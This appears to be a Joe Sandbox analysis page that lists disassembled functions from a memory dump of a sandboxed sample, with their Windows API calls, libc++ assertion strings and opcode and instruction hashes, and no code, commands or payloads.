Memory Dump Source

Source File: 00000001.00000002.1723135992.0000000000821000.00000020.00000001.01000000.00000003.sdmp, Offset: 00820000, based on PE: true

Associated: 00000001.00000002.1723112428.0000000000820000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723224963.0000000000933000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723256545.0000000000960000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723283258.0000000000961000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723315571.0000000000962000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723315571.0000000000971000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723358687.0000000000977000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_820000_0x001900000002ab40-59.jbxd

Similarity

API ID: InfoLocale$ErrorLast
String ID:
API String ID: 661929714-0
Opcode ID: 9b1d9a0940df865ec2eea3f7695a50792440f14c1cee27bd0d760236fbfd85ad
Instruction ID: 92955f7eb2a81f766b31cbd02992559ba69b263e822a631be8984864dea5d387
Opcode Fuzzy Hash: 9b1d9a0940df865ec2eea3f7695a50792440f14c1cee27bd0d760236fbfd85ad
Instruction Fuzzy Hash: D661B571A1022BAFDB28DF24DD82BBA73ACEF45300F2045BAED05C6589E774D981DB50

Function 008B63B0 Relevance: 4.7, APIs: 3, Instructions: 160COMMON

Download Yara Rule

APIs

TryAcquireSRWLockExclusive.KERNEL32(00966B40,?,00000000,00000003,?,008B932E,00962588,?), ref: 008B64AE
ReleaseSRWLockExclusive.KERNEL32(00966B40,?,00000000,00000003,?,008B932E,00962588,?), ref: 008B64D7
__Init_thread_header.LIBCMT ref: 008B6584

Part of subcall function 008B6A20: _strlen.LIBCMT ref: 008B6A31

Memory Dump Source

Source File: 00000001.00000002.1723135992.0000000000821000.00000020.00000001.01000000.00000003.sdmp, Offset: 00820000, based on PE: true

Associated: 00000001.00000002.1723112428.0000000000820000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723224963.0000000000933000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723256545.0000000000960000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723283258.0000000000961000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723315571.0000000000962000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723315571.0000000000971000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723358687.0000000000977000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_820000_0x001900000002ab40-59.jbxd

Similarity

API ID: ExclusiveLock$AcquireInit_thread_headerRelease_strlen
String ID:
API String ID: 2474859000-0
Opcode ID: cf8b23766e4ac4f9e7ae9a6de1848668b882d8633146101dee04c697181325d2
Instruction ID: bc9bba679bd15b20f77f5370ba16271764b5d140b23b59b62de873b017e6cd40
Opcode Fuzzy Hash: cf8b23766e4ac4f9e7ae9a6de1848668b882d8633146101dee04c697181325d2
Instruction Fuzzy Hash: 51517C72A18218DBCB24DF78DC52AAAB7A1FB80318F14012DD806D7395EB75ED21C7C2

Function 008FACB0 Relevance: 4.3, Strings: 3, Instructions: 566COMMON

Download Yara Rule

Strings

..\..\third_party\libc++\src\include\__string\char_traits.h:322: assertion !std::__is_pointer_in_range(__s1, __s1 + __n, __s2) failed: char_traits::copy: source and destination ranges overlap, xrefs: 008FB2E6
..\..\third_party\libc++\src\include\string_view:313: assertion __len == 0 || __s != nullptr failed: string_view::string_view(_CharT *, size_t): received nullptr, xrefs: 008FB2D7
..\..\third_party\libc++\src\include\string_view:311: assertion __len <= static_cast<size_type>(numeric_limits<difference_type>::max()) failed: string_view::string_view(_CharT *, size_t): length does not fit in difference_type, xrefs: 008FB2C8

Memory Dump Source

Source File: 00000001.00000002.1723135992.0000000000821000.00000020.00000001.01000000.00000003.sdmp, Offset: 00820000, based on PE: true

Associated: 00000001.00000002.1723112428.0000000000820000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723224963.0000000000933000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723256545.0000000000960000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723283258.0000000000961000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723315571.0000000000962000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723315571.0000000000971000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723358687.0000000000977000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_820000_0x001900000002ab40-59.jbxd

Similarity

API ID:
String ID: ..\..\third_party\libc++\src\include\__string\char_traits.h:322: assertion !std::__is_pointer_in_range(__s1, __s1 + __n, __s2) failed: char_traits::copy: source and destination ranges overlap$..\..\third_party\libc++\src\include\string_view:311: assertion __len <= static_cast<size_type>(numeric_limits<difference_type>::max()) failed: string_view::string_view(_CharT *, size_t): length does not fit in difference_type$..\..\third_party\libc++\src\include\string_view:313: assertion __len == 0 || __s != nullptr failed: string_view::string_view(_CharT *, size_t): received nullptr
API String ID: 0-2138987473
Opcode ID: e50739581080df53a77a512d4d7dba5c87862e23c60f2b62e7f4418aff077c12
Instruction ID: 963f4a6d762538fa83a16c5b8bacb4efe42a31796b6202ad4cc353598aab7d2d
Opcode Fuzzy Hash: e50739581080df53a77a512d4d7dba5c87862e23c60f2b62e7f4418aff077c12
Instruction Fuzzy Hash: 1C12E9B1B0021E8BCB18CF74C4906BA77A2FF84324F258569DA5ADB351DB31ED45C791

Function 008FA680 Relevance: 4.3, Strings: 3, Instructions: 536COMMON

Download Yara Rule

Strings

..\..\third_party\libc++\src\include\string_view:313: assertion __len == 0 || __s != nullptr failed: string_view::string_view(_CharT *, size_t): received nullptr, xrefs: 008FAC82
..\..\third_party\libc++\src\include\__string\char_traits.h:245: assertion !std::__is_pointer_in_range(__s1, __s1 + __n, __s2) failed: char_traits::copy: source and destination ranges overlap, xrefs: 008FAC91
..\..\third_party\libc++\src\include\string_view:311: assertion __len <= static_cast<size_type>(numeric_limits<difference_type>::max()) failed: string_view::string_view(_CharT *, size_t): length does not fit in difference_type, xrefs: 008FAC73

Memory Dump Source

Source File: 00000001.00000002.1723135992.0000000000821000.00000020.00000001.01000000.00000003.sdmp, Offset: 00820000, based on PE: true

Associated: 00000001.00000002.1723112428.0000000000820000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723224963.0000000000933000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723256545.0000000000960000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723283258.0000000000961000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723315571.0000000000962000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723315571.0000000000971000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723358687.0000000000977000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_820000_0x001900000002ab40-59.jbxd

Similarity

API ID:
String ID: ..\..\third_party\libc++\src\include\__string\char_traits.h:245: assertion !std::__is_pointer_in_range(__s1, __s1 + __n, __s2) failed: char_traits::copy: source and destination ranges overlap$..\..\third_party\libc++\src\include\string_view:311: assertion __len <= static_cast<size_type>(numeric_limits<difference_type>::max()) failed: string_view::string_view(_CharT *, size_t): length does not fit in difference_type$..\..\third_party\libc++\src\include\string_view:313: assertion __len == 0 || __s != nullptr failed: string_view::string_view(_CharT *, size_t): received nullptr
API String ID: 0-1360549270
Opcode ID: da60f09b95c61567c445410a29bb7fbaf77846be8b2f93a393916eb549c59bc5
Instruction ID: 620266a6e025588c21b42cdbd18f9e5f27d1d912f6aae0eeb3449e9b71f7790b
Opcode Fuzzy Hash: da60f09b95c61567c445410a29bb7fbaf77846be8b2f93a393916eb549c59bc5
Instruction Fuzzy Hash: 1602FAB1A0022A8FCB1C8E38C4907BA7BA1FB85364F298179DA5DDB381D6749D45C7D2

Function 008D6C70 Relevance: 3.2, APIs: 2, Instructions: 200COMMON

Download Yara Rule

APIs

TryAcquireSRWLockExclusive.KERNEL32(00000000,?,?,?,00000001,?,008AD1F0,?,008D50B1,00000001,?,?,008AC5DD,?,00000001,?), ref: 008D6D22
ReleaseSRWLockExclusive.KERNEL32(00000000,?,?,?,00000001,?,008AD1F0), ref: 008D6E57

Memory Dump Source

Source File: 00000001.00000002.1723135992.0000000000821000.00000020.00000001.01000000.00000003.sdmp, Offset: 00820000, based on PE: true

Associated: 00000001.00000002.1723112428.0000000000820000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723224963.0000000000933000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723256545.0000000000960000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723283258.0000000000961000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723315571.0000000000962000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723315571.0000000000971000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723358687.0000000000977000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_820000_0x001900000002ab40-59.jbxd

Similarity

API ID: ExclusiveLock$AcquireRelease
String ID:
API String ID: 17069307-0
Opcode ID: dee89e350d34fd7559b6f8b82e6839e58ddb3622e30bbf2f30df7da3a433caf9
Instruction ID: c9eb93e1a6f1a96774e2b64c3cb750c9d91a70d86444448b5a0c9946ed701d23
Opcode Fuzzy Hash: dee89e350d34fd7559b6f8b82e6839e58ddb3622e30bbf2f30df7da3a433caf9
Instruction Fuzzy Hash: 24610875F101098BCB149F6CDC4166EB7A7FB84710B288226E415EB351FB31DD118795

Function 008C8BE0 Relevance: 3.2, APIs: 2, Instructions: 181COMMON

Download Yara Rule

APIs

TryAcquireSRWLockExclusive.KERNEL32(?,?,?,?,?,?,?,?,?,?,008C8BDA,?,?), ref: 008C8C2E
ReleaseSRWLockExclusive.KERNEL32(?,?,?), ref: 008C8D73

Memory Dump Source

Source File: 00000001.00000002.1723135992.0000000000821000.00000020.00000001.01000000.00000003.sdmp, Offset: 00820000, based on PE: true

Associated: 00000001.00000002.1723112428.0000000000820000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723224963.0000000000933000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723256545.0000000000960000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723283258.0000000000961000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723315571.0000000000962000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723315571.0000000000971000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723358687.0000000000977000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_820000_0x001900000002ab40-59.jbxd

Similarity

API ID: ExclusiveLock$AcquireRelease
String ID:
API String ID: 17069307-0
Opcode ID: b229df2167aade141f5b9d3bfb3c7d25cd224756b00f40f6dbc3fd7cd9d3391b
Instruction ID: 754238f9beebe8744acdfa60b4dee0c613b7948e28bfff060f1b8d2eb949962f
Opcode Fuzzy Hash: b229df2167aade141f5b9d3bfb3c7d25cd224756b00f40f6dbc3fd7cd9d3391b
Instruction Fuzzy Hash: A0519A71E512198BCB14DF59D840BAEB7B2FF98314F29812DE906EB241DB31ED018B92

Function 008567C0 Relevance: 3.0, Strings: 2, Instructions: 537COMMON

Download Yara Rule

Strings

..\..\third_party\libc++\src\include\string:3605: assertion __n2 == 0 || __s != nullptr failed: string::compare(): received nullptr, xrefs: 00856E40
..\..\third_party\libc++\src\include\__memory\construct_at.h:40: assertion __location != nullptr failed: null pointer given to construct_at, xrefs: 00856E39

Memory Dump Source

Source File: 00000001.00000002.1723135992.0000000000821000.00000020.00000001.01000000.00000003.sdmp, Offset: 00820000, based on PE: true

Associated: 00000001.00000002.1723112428.0000000000820000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723224963.0000000000933000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723256545.0000000000960000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723283258.0000000000961000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723315571.0000000000962000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723315571.0000000000971000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723358687.0000000000977000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_820000_0x001900000002ab40-59.jbxd

Similarity

API ID:
String ID: ..\..\third_party\libc++\src\include\__memory\construct_at.h:40: assertion __location != nullptr failed: null pointer given to construct_at$..\..\third_party\libc++\src\include\string:3605: assertion __n2 == 0 || __s != nullptr failed: string::compare(): received nullptr
API String ID: 0-2865447378
Opcode ID: 9d36fd8e36f200a0737ffa10afca0f292749d292aa6a8b711509a8e70db15b95
Instruction ID: 362746e9a4f9e873714d255e5b399b3d13f953f54e5504abfac70d1a24b726cf
Opcode Fuzzy Hash: 9d36fd8e36f200a0737ffa10afca0f292749d292aa6a8b711509a8e70db15b95
Instruction Fuzzy Hash: 7522AE70E0061D9FCF15CFA8C4906AEBBB2FF45315F588119E815EB251EB31AD5ACB81

Function 008F08A0 Relevance: 2.8, Strings: 2, Instructions: 340COMMON

Download Yara Rule

Strings

dkT, xrefs: 008F0AF2
dkT, xrefs: 008F0B06

Memory Dump Source

Source File: 00000001.00000002.1723135992.0000000000821000.00000020.00000001.01000000.00000003.sdmp, Offset: 00820000, based on PE: true

Associated: 00000001.00000002.1723112428.0000000000820000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723224963.0000000000933000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723256545.0000000000960000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723283258.0000000000961000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723315571.0000000000962000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723315571.0000000000971000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723358687.0000000000977000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_820000_0x001900000002ab40-59.jbxd

Similarity

API ID: Once$ExecuteInit
String ID: dkT$dkT
API String ID: 689400697-980905629
Opcode ID: 557590f2505e4b0bcc2e4e10c96c04f0c65ded6a94870abad6614d5f08e8eca0
Instruction ID: 572ad09ba693e4bf59b557782757f4565463f07959cfa6c6149f718bdad40aaa
Opcode Fuzzy Hash: 557590f2505e4b0bcc2e4e10c96c04f0c65ded6a94870abad6614d5f08e8eca0
Instruction Fuzzy Hash: FAC15F33F00B198F8B1CDA198A9616CAB6BA7C4700B57817FDD07EF161CAB1D905C5D1

Function 00850A00 Relevance: 2.7, Strings: 2, Instructions: 177COMMON

Download Yara Rule

Strings

VUUU, xrefs: 00850AE9
VUUU, xrefs: 00850ABD

Memory Dump Source

Source File: 00000001.00000002.1723135992.0000000000821000.00000020.00000001.01000000.00000003.sdmp, Offset: 00820000, based on PE: true

Associated: 00000001.00000002.1723112428.0000000000820000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723224963.0000000000933000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723256545.0000000000960000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723283258.0000000000961000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723315571.0000000000962000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723315571.0000000000971000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723358687.0000000000977000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_820000_0x001900000002ab40-59.jbxd

Similarity

API ID: __floor_pentium4
String ID: VUUU$VUUU
API String ID: 4168288129-3149182767
Opcode ID: 40c714fb76464bae062011f5340520e655841e90be660978d8902a46daf8c6ea
Instruction ID: f1a027fcdd0d6531ec1b31f559059e1274204a711beea7882c3d517c0879cf3f
Opcode Fuzzy Hash: 40c714fb76464bae062011f5340520e655841e90be660978d8902a46daf8c6ea
Instruction Fuzzy Hash: 205180729187009FC306DF38C955A1BFBEAEFD9784F04CB1DB88AA7251D730A8558B52

Function 00834B20 Relevance: 2.5, APIs: 2, Instructions: 12memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 00834B27
HeapAlloc.KERNEL32(00000000,00000000,?), ref: 00834B31

Memory Dump Source

Source File: 00000001.00000002.1723135992.0000000000821000.00000020.00000001.01000000.00000003.sdmp, Offset: 00820000, based on PE: true

Associated: 00000001.00000002.1723112428.0000000000820000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723224963.0000000000933000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723256545.0000000000960000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723283258.0000000000961000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723315571.0000000000962000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723315571.0000000000971000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723358687.0000000000977000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_820000_0x001900000002ab40-59.jbxd

Similarity

API ID: Heap$AllocProcess
String ID:
API String ID: 1617791916-0
Opcode ID: bf5f51028c1070f3f7077cc9ca13fafa2cda6b464b6fb32f15c4111e887a7053
Instruction ID: b02f1fb1bab836b349b118e6ef760f53f82429d7cabec4a8c3549612bc533f1c
Opcode Fuzzy Hash: bf5f51028c1070f3f7077cc9ca13fafa2cda6b464b6fb32f15c4111e887a7053
Instruction Fuzzy Hash: E2C04C32555328B7CA103BA7EC0DBCA7F5CEB056A6F044051FA0997150CB6168009BE4

Function 008EE5D0 Relevance: 2.0, APIs: 1, Instructions: 468COMMON

Download Yara Rule

APIs

__floor_pentium4.LIBCMT ref: 008EE6EB

Memory Dump Source

Source File: 00000001.00000002.1723135992.0000000000821000.00000020.00000001.01000000.00000003.sdmp, Offset: 00820000, based on PE: true

Associated: 00000001.00000002.1723112428.0000000000820000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723224963.0000000000933000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723256545.0000000000960000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723283258.0000000000961000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723315571.0000000000962000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723315571.0000000000971000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723358687.0000000000977000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_820000_0x001900000002ab40-59.jbxd

Similarity

API ID: __floor_pentium4
String ID:
API String ID: 4168288129-0
Opcode ID: 7d51092b3fb38a56b28d3b3cda4d76f23b0652e774e30859f083ffc3b692f30a
Instruction ID: 944eceb4f856729eb1c8de27b23e42c8bead966e1111a9cc45cafa2a770c80a6
Opcode Fuzzy Hash: 7d51092b3fb38a56b28d3b3cda4d76f23b0652e774e30859f083ffc3b692f30a
Instruction Fuzzy Hash: 9F02B3715093599BC725EF25C891AAFB7E9FF99314F00091CF989D7241EB30AA05CBA3

Function 008626F0 Relevance: 1.9, Strings: 1, Instructions: 649COMMON

Download Yara Rule

Strings

..\..\third_party\libc++\src\include\string:3157: assertion __first <= __last failed: string::erase(first, last) called with invalid range, xrefs: 00862E08

Memory Dump Source

Source File: 00000001.00000002.1723135992.0000000000821000.00000020.00000001.01000000.00000003.sdmp, Offset: 00820000, based on PE: true

Associated: 00000001.00000002.1723112428.0000000000820000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723224963.0000000000933000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723256545.0000000000960000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723283258.0000000000961000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723315571.0000000000962000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723315571.0000000000971000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723358687.0000000000977000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_820000_0x001900000002ab40-59.jbxd

Similarity

API ID: AddressProc$HandleModule
String ID: ..\..\third_party\libc++\src\include\string:3157: assertion __first <= __last failed: string::erase(first, last) called with invalid range
API String ID: 667068680-1702088555
Opcode ID: b53a1a89b837635f3bdcf8095281f9b5db4d91d0a16e142937631c85e0a1b705
Instruction ID: 0bcf60d925f6d31fdc49d83df686d3a4bece7262c9ec48d68a9a42784c0698d7
Opcode Fuzzy Hash: b53a1a89b837635f3bdcf8095281f9b5db4d91d0a16e142937631c85e0a1b705
Instruction Fuzzy Hash: 0532D275E006199FCB14DFA8D885AADB7B6FF88310F150169F906EB391EB70AD01CB91

Function 00878AD0 Relevance: 1.9, Strings: 1, Instructions: 621COMMON

Download Yara Rule

Strings

__next_prime overflow, xrefs: 0087925F

Memory Dump Source

Source File: 00000001.00000002.1723135992.0000000000821000.00000020.00000001.01000000.00000003.sdmp, Offset: 00820000, based on PE: true

Associated: 00000001.00000002.1723112428.0000000000820000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723224963.0000000000933000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723256545.0000000000960000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723283258.0000000000961000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723315571.0000000000962000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723315571.0000000000971000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723358687.0000000000977000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_820000_0x001900000002ab40-59.jbxd

Similarity

API ID:
String ID: __next_prime overflow
API String ID: 0-822664188
Opcode ID: 604f3fe8b80d2128a4f8f3b57e821136bbc6533d0121c1c9dddf65ddd75c5d97
Instruction ID: b2b768336e11f4a60e06b2244d9073f752bd579c544ea8b667ec76a5179c8325
Opcode Fuzzy Hash: 604f3fe8b80d2128a4f8f3b57e821136bbc6533d0121c1c9dddf65ddd75c5d97
Instruction Fuzzy Hash: D712AE72B80125CBCB5CC928CCD956EB293FB94324B18C47ADC1EEB245DB34ED1D8665

Function 0594469A Relevance: 1.8, Strings: 1, Instructions: 596COMMON

Download Yara Rule

Strings

, xrefs: 05944B80

Memory Dump Source

Source File: 00000001.00000002.1724191152.0000000005940000.00000040.00001000.00020000.00000000.sdmp, Offset: 05940000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5940000_0x001900000002ab40-59.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID: 0-3916222277
Opcode ID: 305e869ac04186f69d5be6eabac3b42e683359892f6d59ba473beeecc2e1308b
Instruction ID: b6239024fa1e157e563bcf41d4f4fb3cade2f2a5c4b66128a7ff6af1348339ce
Opcode Fuzzy Hash: 305e869ac04186f69d5be6eabac3b42e683359892f6d59ba473beeecc2e1308b
Instruction Fuzzy Hash: CB429D31A04A56AFCB19CF69C480BA9FBF2FF48314F188169D499E7751D734A8A1CF80

Function 008825C0 Relevance: 1.8, Strings: 1, Instructions: 572COMMON

Download Yara Rule

Strings

0123456789abcdefABCDEFxX+-pPiInN, xrefs: 008826BB

Memory Dump Source

Source File: 00000001.00000002.1723135992.0000000000821000.00000020.00000001.01000000.00000003.sdmp, Offset: 00820000, based on PE: true

Associated: 00000001.00000002.1723112428.0000000000820000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723224963.0000000000933000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723256545.0000000000960000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723283258.0000000000961000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723315571.0000000000962000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723315571.0000000000971000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723358687.0000000000977000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_820000_0x001900000002ab40-59.jbxd

Similarity

API ID:
String ID: 0123456789abcdefABCDEFxX+-pPiInN
API String ID: 0-2175827864
Opcode ID: a6690ba84787d5acd5fd90e9a774747d9601a3afcf4e618265482a9cd8a69d5a
Instruction ID: 0af0ebae4d17555807c509f9d8c02aefdc6ee3f74f457b4ca40e78214217a3a2
Opcode Fuzzy Hash: a6690ba84787d5acd5fd90e9a774747d9601a3afcf4e618265482a9cd8a69d5a
Instruction Fuzzy Hash: 5D226A71E002299BCF14EFA8C884AEDBBB1FF49324F194259E855BB381D774AD45CB90

Function 0087E8A0 Relevance: 1.8, Strings: 1, Instructions: 560COMMON

Download Yara Rule

Strings

0123456789abcdefABCDEFxX+-pPiInN, xrefs: 0087E973

Memory Dump Source

Source File: 00000001.00000002.1723135992.0000000000821000.00000020.00000001.01000000.00000003.sdmp, Offset: 00820000, based on PE: true

Associated: 00000001.00000002.1723112428.0000000000820000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723224963.0000000000933000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723256545.0000000000960000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723283258.0000000000961000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723315571.0000000000962000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723315571.0000000000971000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723358687.0000000000977000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_820000_0x001900000002ab40-59.jbxd

Similarity

API ID:
String ID: 0123456789abcdefABCDEFxX+-pPiInN
API String ID: 0-2175827864
Opcode ID: 48ee3430fd1d65854926f4b981a8d8acf48390eb38f178f5e7e4eebfb5620cc7
Instruction ID: 12cfd95df354f2af8004504ac982920b9fb4c03a4e31d9e7c09a0ffd3720d6c3
Opcode Fuzzy Hash: 48ee3430fd1d65854926f4b981a8d8acf48390eb38f178f5e7e4eebfb5620cc7
Instruction Fuzzy Hash: AC228F71E042298BCF15CFA8C8806EDBBB1FF49324F158699E859BB385D774AD05CB90

Function 0087C0C0 Relevance: 1.8, Strings: 1, Instructions: 554COMMON

Download Yara Rule

Strings

0123456789abcdefABCDEFxX+-pPiInN, xrefs: 0087C4A7, 0087C4AC

Memory Dump Source

Source File: 00000001.00000002.1723135992.0000000000821000.00000020.00000001.01000000.00000003.sdmp, Offset: 00820000, based on PE: true

Associated: 00000001.00000002.1723112428.0000000000820000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723224963.0000000000933000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723256545.0000000000960000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723283258.0000000000961000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723315571.0000000000962000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723315571.0000000000971000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723358687.0000000000977000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_820000_0x001900000002ab40-59.jbxd

Similarity

API ID:
String ID: 0123456789abcdefABCDEFxX+-pPiInN
API String ID: 0-2175827864
Opcode ID: f4b8bdd8457bcfc4c45227cd8e011dcb7c307821fe9b7f9ba872adc4a704712f
Instruction ID: 6c4d01d3e9fb4bfb16a7d25e448e9cb61202e7b6f936b5f8bacfe1470d1aea79
